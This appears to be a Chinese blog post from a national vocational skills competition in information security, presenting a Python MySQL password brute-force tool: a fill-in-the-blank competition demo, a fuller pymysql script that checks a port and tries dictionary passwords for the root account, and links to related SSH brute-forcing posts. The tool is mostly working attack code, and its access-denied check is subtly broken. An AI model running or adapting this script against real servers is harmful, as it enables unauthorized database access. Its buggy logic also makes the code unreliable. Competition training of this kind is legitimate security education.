全国职业技能大赛信息安全管理与评估-MySQL爆破脚本
DEMO:
#coding=utf-8
import MySQLdb
class MSSQL:
def __init__(self,host,user,pwd):
self.host = host
self.user = user
self.pwd = pwd
def connect_dp(self):
conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
cur = conn.cursor()
if not cur:
raise(NameError,"failed connect to sql server")
else:
return self.pwd
def main():
fp = open('/root/superdic.txt','r')
for password in fp.readlines():
try:
a = MSSQL(host=Flag1,user='root',pwd=Flag2)
ms = a.connect_dp()
print password.strip()
except:
pass
if not s:
print 'brute failed'
fp.close()
if __name__ == '__main__':
main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user
分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符
代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP
函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接
代码逻辑:
参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help) True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数
#!/usr/bin/python3 import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
banner = '''
_____ _ _ ____ _ __ __ ____ ______ ___ _
| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |
| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |
| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___
|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|
v1.0 R4bbit'''
print("\033[0;31m"+banner+"\033[0m");
def connectTest(host,port):
socket.setdefaulttimeout(0.1)
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ser.connect((host,port)) #链接成功 记得close()
print("[+] Target Port:%d" % port)
time.sleep(1)
print("[3]..........");
time.sleep(1)
print("[2]..........");
time.sleep(1)
print("[1]..........");
ser.close();
return True;
except Exception as e:
print("目标端口无法访问");
# print("Error"+str(e));
return False; def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
global count
count += 1
sql = "select version();"
try:
db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
cursor = db.cursor() #获取mysql游标
if cursor:
#print("\n")
cursor.execute(sql)
mysql_ver = cursor.fetchone();
szStr = "Password is:"+"\033[0;31m"+szpassword+"\033[0m"
print("\r"+szStr)
print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))
exit()
# cursor.execute(sql);
except Exception as e:
#1045 密码错误 去匹配这个1045
if "" in str(e):
print("\r[%d]:%s" % (count,szpassword),end=".");
else:
print("[-] Error %s" % str(e)); def main():
printBanner();
parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
parser.add_option('-i',dest='ip',type='string',help = 'ip no')
parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
(options,arg) = parser.parse_args()
if(options.ip == None) | (options.dict_file == None):
print(parser.usage)
exit()
mysql_ip = options.ip;
if(options.port == None): #如果没有给出端口 默认就是3306
mysql_port = 3306;
print("[+] Use Default Mysql Port:%d" % mysql_port)
else:
mysql_port = int(options.port)
print("[+] Use Mysql Port:%d" % mysql_port)
mysql_dict = options.dict_file;
print("[+] Use DictFile:%s" % mysql_dict)
#判断目标端口是否开放
time.sleep(2);
if connectTest(mysql_ip,mysql_port):
if not os.path.exists(mysql_dict):
print("[-] %s字典文件 无法访问" % mysql_dict)
exit(1)
fp = open(mysql_dict,"r")
for mysql_pass in fp.readlines():
sqlConnect(mysql_ip,mysql_port,mysql_pass.strip()) if __name__ == '__main__':
main();

全国职业技能大赛信息安全管理与评估-MySQL爆破脚本的更多相关文章
- 全国职业技能大赛信息安全管理与评估-MySQL弱口令利用
MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) ...
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...
- 全国职业技能大赛信息安全管理与评估-一些细节tips
Base64加解密: ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64aWxvdmV5b3UKubuntu@VM-0-5-ubuntu:~$ echo aW ...
- 关于[神州数码信息安全DCN杯/信息安全管理与评估]的一些经验之谈
前阵子参加了神州数码的比赛,赛后有如下经验分享,给还没参加过的朋友分享一下心德以及要注意的坑. 先科普一下这个比赛的三个阶段: 第一阶段主要是考网络部分的,例如搭建wifi以及防火墙诸如此类的设备. ...
- 深圳即将启动首届「全国人工智能大赛」:超过 500 万大奖 & 政府资助,潜信息你读懂了吗!
人工智能加速“视频/视觉”发展,近期,深圳市即将迎来人工智能领域权威赛事之一——首届「全国人工智能大赛」(The First National Artificial Intelligence Chal ...
- ISO27001信息安全管理体系
0x00 前言 初入甲方,刚开始接触的应该就是ISO27001信息安全管理体系,你拿到的应该就是一整套安全管理类的文档.在甲方,稍微有点规模的公司很注重制度和流程,岗位职责分工明细,那么这些安全管理制 ...
- NISP二级笔记(一) 信息安全管理
ISO27001 信息安全管理体系要求 ISO27002 信息安全控制措施(实用规则) ISO27003 信息安全管理体系实施指南 ISO27004 信息安全管理测量 ISO27005 信息安全风险管 ...
- (java)Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页
Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页,输出 职位名称*****公司名称*****职位月薪*****工作地点*****发布日期 import java.io.I ...
- 怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
随机推荐
- Python-控制语句及函数
if-elif-else for while 函数 函数定义 空函数 pass 返回多个值 可变参数 * 关键字参数 ** 控制语句 if - elif - else 比如,输入用户年龄,根据年龄打印 ...
- Jquery 实现原理深入学习(3)
前言 1.总体结构 √ 2.构建函数 √ 3.each功能函数实现 √ 4.map功能函数实现 √ 5.sizzle初步学习 6.attr功能函数实现 7.toggleClass功能函数实现(好伤) ...
- 从VR泛滥到倒闭看热门投机的山寨创业心态
相对国外来说,国人的从众心理非常严重.无数的段子和"名人名言"都在反复向我们传递出一个信息:国人在做事的时候,总是随大流,趋向热点.而从行业角度来看,结果就会造成行业中良莠不齐.鱼 ...
- rbenv、fish 與 VSCode 設置之路
在最新的 VSCode 1.3.1 版裡,Integrated Terminal 變得更加好用,但由於上游套件 xterm.js 的緣故,zsh 還是有無法捲動的問題.不過作為一個 Rails 開發者 ...
- C#面向对象--属性
一.属性(Property)作为类和结构的成员,是对字段的一种封装方式,实际上是一种特殊的方法,被称为访问器(Accessor),从而隐藏实现和验证代码,有助于提高字段读取和赋值的安全性和灵活性: 1 ...
- 批量复制及执行命令shell脚本
平时在处理一个或几个机器运行环境时,一个机器一个机器处理也能接受,但是如果是一批机器,几十或几百台,要是一台一台去安装环境,光是输入同一的命令,估计你自己都想吐,所有聪明的人会想一些偷懒的办法,确实可 ...
- Matplotlib数据可视化(3):文本与轴
在一幅图表中,文本.坐标轴和图像的是信息传递的核心,对着三者的设置是作图这最为关心的内容,在上一篇博客中虽然列举了一些设置方法,但没有进行深入介绍,本文以围绕如何对文本和坐标轴进行设置展开(对图像 ...
- date成字符串
//获取当前时间 Date date=new Date(); System.out.println("当前date: "+date); //将时间转化成yyyy-MM-dd格式的字 ...
- audioContext.decodeAudioData 返回null 错误
此问题并不是100%出现.没想到国外大神已经有处理此问题的经验 原贴地址: https://stackoverflow.com/questions/10365335/decodeaudiodata-r ...
- 前端每日实战:48# 视频演示如何用纯 CSS 创作一盘传统蚊香
效果预览 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/BVpvMz 可交互视频教程 此视频 ...